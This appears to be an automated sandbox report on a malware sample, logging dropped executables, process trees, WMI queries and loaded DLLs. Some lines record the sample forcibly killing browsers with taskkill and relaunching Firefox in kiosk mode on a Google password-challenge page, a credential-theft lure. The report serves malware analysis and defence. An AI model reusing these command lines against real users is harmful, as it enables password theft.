Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1446054552.00000000059CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431607934.00000000059B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1446144282.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432027531.0000000005999000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431730417.000000000599A000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999933119.00000000059B9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999097778.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2023781336.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999413840.00000000059BA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 52%

Source: G4X9C8XP66LPZY0PX2HHB5N.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: J2IWSCR5FJAMGGW2VC4ET4.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe "C:\Users\user~1\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe "C:\Users\user~1\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe "C:\Users\user~1\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe"
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe "C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe "C:\Users\user~1\AppData\Local\Temp\1001091001\bd214fbd32.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe "C:\Users\user~1\AppData\Local\Temp\1001092001\136916b3ff.exe"
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe "C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe"
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001093001\num.exe "C:\Users\user~1\AppData\Local\Temp\1001093001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6c059e01-df08-4ea7-99e7-8e52a0f774f0} 6000 "\\.\pipe\gecko-crash-server-pipe.6000" 1c95726dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4580 -parentBuildID 20230927232528 -prefsHandle 4572 -prefMapHandle 4480 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d66d859a-061e-466f-93a3-e7567ce2edce} 6000 "\\.\pipe\gecko-crash-server-pipe.6000" 1c968370810 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe "C:\Users\user~1\AppData\Local\Temp\1001091001\bd214fbd32.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe "C:\Users\user~1\AppData\Local\Temp\1001092001\136916b3ff.exe"
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001093001\num.exe "C:\Users\user~1\AppData\Local\Temp\1001093001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process created: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe "C:\Users\user~1\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe"
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process created: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe "C:\Users\user~1\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe"
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process created: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe "C:\Users\user~1\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe "C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe "C:\Users\user~1\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe "C:\Users\user~1\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe "C:\Users\user~1\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe "C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe "C:\Users\user~1\AppData\Local\Temp\1001091001\bd214fbd32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe "C:\Users\user~1\AppData\Local\Temp\1001092001\136916b3ff.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001093001\num.exe "C:\Users\user~1\AppData\Local\Temp\1001093001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process created: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe "C:\Users\user~1\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe"
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process created: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe "C:\Users\user~1\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe"
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6c059e01-df08-4ea7-99e7-8e52a0f774f0} 6000 "\\.\pipe\gecko-crash-server-pipe.6000" 1c95726dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4580 -parentBuildID 20230927232528 -prefsHandle 4572 -prefMapHandle 4480 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d66d859a-061e-466f-93a3-e7567ce2edce} 6000 "\\.\pipe\gecko-crash-server-pipe.6000" 1c968370810 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
